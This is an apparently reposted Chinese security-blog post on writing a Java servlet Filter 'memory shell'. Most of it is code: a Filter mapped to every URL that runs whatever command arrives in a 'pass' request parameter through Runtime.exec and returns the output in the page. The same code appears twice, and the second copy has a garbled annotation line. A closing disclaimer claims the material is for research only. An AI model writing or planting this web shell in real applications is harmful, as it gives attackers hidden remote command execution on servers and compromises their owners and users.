通常都是用来拦截request进行处理的,也可以对返回的response进行拦截处理。
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
</dependency>
public class MyFilter implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
}
public void destroy() {
}
}
@WebFilter(urlPatterns = "/*")
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
if(servletRequest.getParameter("pass")!=null){
String cmd = servletRequest.getParameter("pass");
Process process = Runtime.getRuntime().exec(cmd);
InputStream in = process.getInputStream();
InputStreamReader input = new InputStreamReader(in);
BufferedReader reader = new BufferedReader(input);
String s = null;
servletResponse.getWriter().print("<pre>");
while ((s = reader.readLine())!=null){
servletResponse.getWriter().println(s);
}
servletResponse.getWriter().print("</pre>");
servletResponse.getWriter().flush();
}
filterChain.doFilter(servletRequest,servletResponse);
}
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
"/*") (urlPatterns =
public class MyFilter implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
if(servletRequest.getParameter("pass")!=null){
String cmd = servletRequest.getParameter("pass");
Process process = Runtime.getRuntime().exec(cmd);
InputStream in = process.getInputStream();
InputStreamReader input = new InputStreamReader(in);
BufferedReader reader = new BufferedReader(input);
String s = null;
servletResponse.getWriter().print("<pre>");
while ((s = reader.readLine())!=null){
servletResponse.getWriter().println(s);
}
servletResponse.getWriter().print("</pre>");
servletResponse.getWriter().flush();
}
filterChain.doFilter(servletRequest,servletResponse);
}
public void destroy() {
}
}
https://mp.weixin.qq.com/s?__biz=Mzg2NjU0MjA0Ng==&mid=2247485539&idx=1&sn=796ff115ac4c9fe9383455ff1a332d9c
https://blog.csdn.net/yuzhiqiang_1993/article/details/81288912
原文始发于微信公众号(Reset安全):简单的JAVA Filter内存马编写
特别标注:
本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论